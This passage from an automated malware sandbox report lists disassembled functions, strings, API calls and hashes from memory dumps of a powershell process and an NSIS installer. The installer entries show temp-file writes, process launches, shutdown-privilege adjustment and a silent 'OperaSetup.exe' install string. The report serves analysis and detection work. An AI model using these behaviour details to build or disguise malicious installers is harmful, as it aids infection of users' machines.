Instruction Fuzzy Hash: 5961AEB1A0020EEFDB64CF88C544BAEB7F2BF45301F588266E8119B290C775DD95CBA1

Function 070A3928 Relevance: 10.3, Strings: 8, Instructions: 327COMMON

Download Yara Rule

Strings

tP^q, xrefs: 070A39A5
4'^q, xrefs: 070A3B35
$^q, xrefs: 070A393A
4'^q, xrefs: 070A3B29
$^q, xrefs: 070A396C
$^q, xrefs: 070A3960
tP^q, xrefs: 070A39B1
$^q, xrefs: 070A3C0E

Memory Dump Source

Source File: 00000017.00000002.2622293718.00000000070A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_70a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q
API String ID: 0-3865595929
Opcode ID: 4396d39642ec5867efda856b24928c62b8d074f96f5eea3bba9865f2009f5eff
Instruction ID: 1a4ac754b1e10c3ca19d9d71cca523b2baddf7ba2c727dbf12b244937608f951
Opcode Fuzzy Hash: 4396d39642ec5867efda856b24928c62b8d074f96f5eea3bba9865f2009f5eff
Instruction Fuzzy Hash: 09A17971704315AFC7659BA89800B6AFBF6AFC6210F24856FD546CF391CE35C885C761

Function 0467F060 Relevance: 9.2, Strings: 7, Instructions: 455COMMON

Download Yara Rule

Strings

`Q^q, xrefs: 0467F574
0oAp, xrefs: 0467F47D
$^q, xrefs: 0467F388
0oAp, xrefs: 0467F4AF
0oAp, xrefs: 0467F4BB
$^q, xrefs: 0467F59E
$^q, xrefs: 0467F3E4

Memory Dump Source

Source File: 00000017.00000002.2590210505.0000000004670000.00000040.00000800.00020000.00000000.sdmp, Offset: 04670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_4670000_powershell.jbxd

Similarity

API ID:
String ID: 0oAp$0oAp$0oAp$`Q^q$$^q$$^q$$^q
API String ID: 0-1375766648
Opcode ID: 6b83898cf10494a111bd3b61e4ed9229e38973b9af6041184b3f844d90046220
Instruction ID: 01beaae767e2a142575abe0acd9e2fcea8b24a320eb754d57de4c7da3db18fbc
Opcode Fuzzy Hash: 6b83898cf10494a111bd3b61e4ed9229e38973b9af6041184b3f844d90046220
Instruction Fuzzy Hash: 90E1C3307502148FDB1C9B7C8454A3E77E7AFD9B50B2444AAD902CB3A9FE35EC428792

Function 070A1BE0 Relevance: 9.2, Strings: 7, Instructions: 414COMMON

Download Yara Rule

Strings

4'^q, xrefs: 070A1C86
tP^q, xrefs: 070A1FEB
pipj, xrefs: 070A1C73
4'^q, xrefs: 070A1F95
4'^q, xrefs: 070A1F89
4'^q, xrefs: 070A1C92
tP^q, xrefs: 070A1FDF

Memory Dump Source

Source File: 00000017.00000002.2622293718.00000000070A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_70a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$pipj$tP^q$tP^q
API String ID: 0-499639324
Opcode ID: 5ac3f24f138eb5cc0d33b705eadb4329f5b82f098b79752c382bba9b46293b7b
Instruction ID: 781cb18b92bae0e18e02bea214267dc5d569df7bcff0d2e20d1a1777eb0de326
Opcode Fuzzy Hash: 5ac3f24f138eb5cc0d33b705eadb4329f5b82f098b79752c382bba9b46293b7b
Instruction Fuzzy Hash: 0BD18DB1B0424AEFCB249BA8940466BBBF6AFC5310F14C6BBC555CF256DB31C885C7A1

Function 070A3110 Relevance: 6.6, Strings: 5, Instructions: 379COMMON

Download Yara Rule

Strings

4'^q, xrefs: 070A31B6
tP^q, xrefs: 070A3324
4'^q, xrefs: 070A31C0
tP^q, xrefs: 070A3330
$a%k, xrefs: 070A357C

Memory Dump Source

Source File: 00000017.00000002.2622293718.00000000070A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_70a0000_powershell.jbxd

Similarity

API ID:
String ID: $a%k$4'^q$4'^q$tP^q$tP^q
API String ID: 0-1049447041
Opcode ID: 8e96a18d2a575726e7fe0c680fa2f61fdc248c3966fd3819754be432b7204ec9
Instruction ID: ee6581cfbeefecd0c95e9706a67af7487d2099146f9a2727c19c0b4f10b182e2
Opcode Fuzzy Hash: 8e96a18d2a575726e7fe0c680fa2f61fdc248c3966fd3819754be432b7204ec9
Instruction Fuzzy Hash: A2C17BB1B04306AFCB619BA898007ABFFF6AF86310F1481AAD555CF351DA75D881C7A1

Function 070A3678 Relevance: 6.4, Strings: 5, Instructions: 192COMMON

Download Yara Rule

Strings

$^q, xrefs: 070A37FF
$^q, xrefs: 070A382A
4'^q, xrefs: 070A372E
$^q, xrefs: 070A3836
4'^q, xrefs: 070A3722

Memory Dump Source

Source File: 00000017.00000002.2622293718.00000000070A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_70a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: c5b2e6cf734fc3b756603af7697f276a178287a90b44cbe8157cb5528d98f03a
Instruction ID: ad7a93f5d7106164369f30a4a92d2954cd7172d7c84b79ee07efef54747dfa1a
Opcode Fuzzy Hash: c5b2e6cf734fc3b756603af7697f276a178287a90b44cbe8157cb5528d98f03a
Instruction Fuzzy Hash: 635158B5704306AFDB748AA9980076FFBE6AFC2650F24856BD405CB351DE35C885C7A1

Function 04676E89 Relevance: 5.2, Strings: 4, Instructions: 243COMMON

Download Yara Rule

Strings

`_q, xrefs: 0467712A
`_q, xrefs: 04676F8B
`_q, xrefs: 0467700A
`_q, xrefs: 046770AC

Memory Dump Source

Source File: 00000017.00000002.2590210505.0000000004670000.00000040.00000800.00020000.00000000.sdmp, Offset: 04670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_4670000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: 65027bf92865b01f80e9083fe1a8966336f07668201f66fa337c4bb76120add9
Instruction ID: cf2ae080a55e7936cb0b9545d047f7a4c0403d3e0a7a53e9a77799529cafaf7f
Opcode Fuzzy Hash: 65027bf92865b01f80e9083fe1a8966336f07668201f66fa337c4bb76120add9
Instruction Fuzzy Hash: 32B1A274E002099FDB55DFA9D990A9DFBF2FF88304F108629E419AB315EB30A945CF90

Function 04676E98 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 0467712A
`_q, xrefs: 04676F8B
`_q, xrefs: 0467700A
`_q, xrefs: 046770AC

Memory Dump Source

Source File: 00000017.00000002.2590210505.0000000004670000.00000040.00000800.00020000.00000000.sdmp, Offset: 04670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_4670000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: 751d414c2864e6f9eee219977a1e98039b4973dae113b9042b7e47525a721e4b
Instruction ID: b2625eecafd78dd212e2645bb4a91b2bd47fe994a7170812b5f99aea208bf185
Opcode Fuzzy Hash: 751d414c2864e6f9eee219977a1e98039b4973dae113b9042b7e47525a721e4b
Instruction Fuzzy Hash: ECB18174E006099FDB54DFA9D990A9DFBF2FF88304F108629E419AB315EB70A945CF90

Function 070A5798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 070A57AA
$^q, xrefs: 070A5800
$^q, xrefs: 070A57F4
$^q, xrefs: 070A57C6

Memory Dump Source

Source File: 00000017.00000002.2622293718.00000000070A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_70a0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: a1851e5f56d7018bbe99d4a9f351200389c4f26288fd7d115213d4d608fdc71d
Instruction ID: 7086b9932f2a05204e1b3772d138816793248faa71e8c588931f580243484133
Opcode Fuzzy Hash: a1851e5f56d7018bbe99d4a9f351200389c4f26288fd7d115213d4d608fdc71d
Instruction Fuzzy Hash: A0216B71700306BBDB7895AA9C00B2BB7DA7FC0710F24852AA506EF385DD36C8548361

Function 070A0309 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

$^q, xrefs: 070A0352
$^q, xrefs: 070A035E
4'^q, xrefs: 070A037F
4'^q, xrefs: 070A0373

Memory Dump Source

Source File: 00000017.00000002.2622293718.00000000070A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_70a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 4ce5db1a69aea91406e91615e54578d87d885e976c34cb4ae71dfd78637da97e
Instruction ID: 57770b7c138e17529916f115981c5658ad66bfb20b25fc44becd0bfae231421f
Opcode Fuzzy Hash: 4ce5db1a69aea91406e91615e54578d87d885e976c34cb4ae71dfd78637da97e
Instruction Fuzzy Hash: 01018421B0D3CA6FC72B12781C205666FBA5F83610B1E42DBD041CF25BDD554C4983A3

Analysis Process: ya.exePID: 4420, Parent PID: 3756COMMON

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1380
Total number of Limit Nodes:	23

Executed Functions

Function 00403665 Relevance: 75.7, APIs: 33, Strings: 10, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32 ref: 00403688
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 004036B3
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 004036C6
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040375F
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040379C
OleInitialize.OLE32(00000000), ref: 004037A3
SHGetFileInfoW.SHELL32(00432708,00000000,?,000002B4,00000000), ref: 004037C2
GetCommandLineW.KERNEL32(00464260,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004037D7
CharNextW.USER32(00000000,004BD000,00000020,004BD000,00000000,?,00000008,0000000A,0000000C), ref: 00403810
GetTempPathW.KERNEL32(00002000,004D1000,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403948
GetWindowsDirectoryW.KERNEL32(004D1000,00001FFB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403959
lstrcatW.KERNEL32(004D1000,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403965
GetTempPathW.KERNEL32(00001FFC,004D1000,004D1000,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403979
lstrcatW.KERNEL32(004D1000,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403981
SetEnvironmentVariableW.KERNEL32(TEMP,004D1000,004D1000,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403992
SetEnvironmentVariableW.KERNEL32(TMP,004D1000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040399A
DeleteFileW.KERNEL32(004CD000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004039AE
lstrlenW.KERNEL32(004D1000,004BD000,00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A87

Part of subcall function 004066A2: lstrcpynW.KERNEL32(?,?,00002000,004037D7,00464260,NSIS Error,?,00000008,0000000A,0000000C), ref: 004066AF

wsprintfW.USER32 ref: 00403AE4
GetFileAttributesW.KERNEL32(00481000,004D1000), ref: 00403B17
DeleteFileW.KERNEL32(00481000), ref: 00403B23
SetCurrentDirectoryW.KERNEL32(004D1000,004D1000), ref: 00403B51

Part of subcall function 00406462: MoveFileExW.KERNEL32(?,?,00000005,00405F60,?,00000000,000000F1,?,?,?,?,?), ref: 0040646C

CopyFileW.KERNEL32(004D9000,00481000,00000001,004D1000,00000000), ref: 00403B67

Part of subcall function 00405C85: CreateProcessW.KERNEL32(00000000,00481000,00000000,00000000,00000000,04000000,00000000,00000000,0045A750,?,?,?,00481000,?), ref: 00405CAE
Part of subcall function 00405C85: CloseHandle.KERNEL32(?,?,?,00481000,?), ref: 00405CBB

Part of subcall function 004069FF: FindFirstFileW.KERNEL32(74DF3420,0045A798,00456750,004060C2,00456750,00456750,00000000,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0), ref: 00406A0A
Part of subcall function 004069FF: FindClose.KERNEL32(00000000), ref: 00406A16

ExitProcess.KERNEL32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403BB0
CoUninitialize.COMBASE(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403BB5
ExitProcess.KERNEL32 ref: 00403BD2
CloseHandle.KERNEL32(00000000,00485000,00485000,?,00481000,00000000), ref: 00403BD9
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403BF5
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403BFC
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403C11
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403C34
ExitWindowsEx.USER32(00000002,80040002), ref: 00403C59
ExitProcess.KERNEL32 ref: 00403C7C

Part of subcall function 00405C50: CreateDirectoryW.KERNEL32(?,00000000,00403658,004D1000,004D1000,004D1000,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 00405C56

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040367C
UXTHEME, xrefs: 00403753, 00403758, 0040375E
NSIS Error, xrefs: 004037C8
Low, xrefs: 0040397B
TEMP, xrefs: 0040398D
Error launching installer, xrefs: 00403A30
SeShutdownPrivilege, xrefs: 00403C0B
\Temp, xrefs: 0040395F
~nsu%X.tmp, xrefs: 00403ADB
TMP, xrefs: 00403995

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: File$Process$Exit$CloseDirectory$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 2017177436-2502969717
Opcode ID: 3d671764197dcef63dc7c2a13f67f50788250ee6bdde08026161d1f705c381d7
Instruction ID: d5dd5e0f9c74a08960ebc8aa75e9a138e3a42fd8f19371cc0c5244fd25c86c9d
Opcode Fuzzy Hash: 3d671764197dcef63dc7c2a13f67f50788250ee6bdde08026161d1f705c381d7
Instruction Fuzzy Hash: 56F108316043019AD720AF769D45B2B7AE8EF4174AF10883EF581B22D1DB7CDA45CB6E

Function 00405DAE Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,74DF3420,74DF2EE0,004BD000), ref: 00405DD7
lstrcatW.KERNEL32(00452750,\*.*,00452750,?,?,74DF3420,74DF2EE0,004BD000), ref: 00405E1F
lstrcatW.KERNEL32(?,0040A014,?,00452750,?,?,74DF3420,74DF2EE0,004BD000), ref: 00405E42
lstrlenW.KERNEL32(?,?,0040A014,?,00452750,?,?,74DF3420,74DF2EE0,004BD000), ref: 00405E48
FindFirstFileW.KERNEL32(00452750,?,?,?,0040A014,?,00452750,?,?,74DF3420,74DF2EE0,004BD000), ref: 00405E58
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EF8
FindClose.KERNEL32(00000000), ref: 00405F07

Strings

P'E, xrefs: 00405E07
\*.*, xrefs: 00405E19

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: P'E$\*.*
API String ID: 2035342205-897026672
Opcode ID: 2a22b74e29257ee4312f2694a2476e0e063d7e13d36b91b3edff1e0c18e84ae8
Instruction ID: d3f7042800757c758c726763e218659af4e34a2018f279a2393577cf1f32b1c8
Opcode Fuzzy Hash: 2a22b74e29257ee4312f2694a2476e0e063d7e13d36b91b3edff1e0c18e84ae8
Instruction Fuzzy Hash: 5741D130800A05E6CB21AB61CD89ABF7678EF45755F14413FF881B11D1DB7C8A82DEAE

Function 00406DC0 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9c4c7fe21643fbeaf7e138ee869f294de0f5e1fd31501e9972d14a61e44697c
Instruction ID: 2c84522690a72e7b125efbdd79dcce5a6d58b8fc95eff680b6a5e34cc787ad25
Opcode Fuzzy Hash: f9c4c7fe21643fbeaf7e138ee869f294de0f5e1fd31501e9972d14a61e44697c
Instruction Fuzzy Hash: 5EF17670D04229CBDF28CFA8C8946ADBBB1FF44305F24856ED456BB281D7786A86CF45

Function 004069FF Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(74DF3420,0045A798,00456750,004060C2,00456750,00456750,00000000,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0), ref: 00406A0A
FindClose.KERNEL32(00000000), ref: 00406A16

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c678162996fe6daf9e8ab4f1fec6b2103351496eed0ed7f1d1f24d988285780e
Instruction ID: 35f0ff7019ed0dad564a4e6eb4f1dd92456e0906ec704515d4596d21edce6ab9
Opcode Fuzzy Hash: c678162996fe6daf9e8ab4f1fec6b2103351496eed0ed7f1d1f24d988285780e
Instruction Fuzzy Hash: EDD012317551205BC241A73C6D0C89B7E589F1A3317118B37F46BF21E4D7348C628A9D

Function 00403D74 Relevance: 40.5, APIs: 13, Strings: 10, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406A96: GetModuleHandleA.KERNEL32(?,00000020,?,00403775,0000000C,?,?,?,?,?,?,?,?), ref: 00406AA8
Part of subcall function 00406A96: GetProcAddress.KERNEL32(00000000,?), ref: 00406AC3

lstrcatW.KERNEL32(004CD000,00442748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00442748,00000000,00000002,74DF3420,004D1000,00000000,004BD000,00008001), ref: 00403DF5
lstrlenW.KERNEL32("C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,?,?,?,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,00000000,004C1000,004CD000,00442748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00442748,00000000,00000002,74DF3420), ref: 00403E75
lstrcmpiW.KERNEL32(?,.exe,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,?,?,?,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,00000000,004C1000,004CD000,00442748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00442748,00000000), ref: 00403E88
GetFileAttributesW.KERNEL32("C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0), ref: 00403E93
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C1000), ref: 00403EDC

Part of subcall function 004065E9: wsprintfW.USER32 ref: 004065F6

RegisterClassW.USER32(00464200), ref: 00403F19
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403F31
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403F66
ShowWindow.USER32(00000005,00000000), ref: 00403F9C
GetClassInfoW.USER32(00000000,RichEdit20W,00464200), ref: 00403FC8
GetClassInfoW.USER32(00000000,RichEdit,00464200), ref: 00403FD5
RegisterClassW.USER32(00464200), ref: 00403FDE
DialogBoxParamW.USER32(?,00000000,00404122,00000000), ref: 00403FFD

Strings

RichEd20, xrefs: 00403FA2
"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0, xrefs: 00403E3C, 00403E45, 00403E53, 00403EA2, 00403EA8
RichEd32, xrefs: 00403FB0
H'D, xrefs: 00403DA0
.DEFAULT\Control Panel\International, xrefs: 00403DE0
RichEdit20W, xrefs: 00403FC0, 00403FC6
Control Panel\Desktop\ResourceLocale, xrefs: 00403DA8
.exe, xrefs: 00403E82
RichEdit, xrefs: 00403FCF
_Nb, xrefs: 00403EF8, 00403F60

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$H'D$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2310240611
Opcode ID: 3d59189b7d584aebec317020681a23c8595c56b901d309db355d32037134d7fc
Instruction ID: 15514f3cea8a7976e0aa4835bc9f56462f0e59a4e5397df6ef3051f83c2bc2bc
Opcode Fuzzy Hash: 3d59189b7d584aebec317020681a23c8595c56b901d309db355d32037134d7fc
Instruction Fuzzy Hash: 3C61E770640301BED720AF669D95F273AACEB85B49F10457FF941B22E2DB7D58018A2E

Function 004030F5 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403109
GetModuleFileNameW.KERNEL32(00000000,004D9000,00002000), ref: 00403125

Part of subcall function 00406192: GetFileAttributesW.KERNEL32(00000003,00403138,004D9000,80000000,00000003), ref: 00406196
Part of subcall function 00406192: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 004061B8

GetFileSize.KERNEL32(00000000,00000000,004DD000,00000000,004C9000,004C9000,004D9000,004D9000,80000000,00000003), ref: 0040316E
GlobalAlloc.KERNEL32(00000040,00008001), ref: 004032B0

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032F9
hA, xrefs: 004032B6
Error launching installer, xrefs: 00403145
soft, xrefs: 004031E3
Inst, xrefs: 004031DA
Null, xrefs: 004031EC
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403347

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$hA$soft
API String ID: 2803837635-3376623841
Opcode ID: a78e4ad808f85481dcd79512046ee08fb7c97768d62f5dc4e9826f195081d52b
Instruction ID: ad1f7a9ef70f4aee06910e8501363caf5be3f78a24e024e3506d72c770e38dd5
Opcode Fuzzy Hash: a78e4ad808f85481dcd79512046ee08fb7c97768d62f5dc4e9826f195081d52b
Instruction Fuzzy Hash: 0271A071D00204ABDB209FA4DD85B6E7AACEB05716F10417FE911B72D1DB789F408B6D

Function 00401794 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

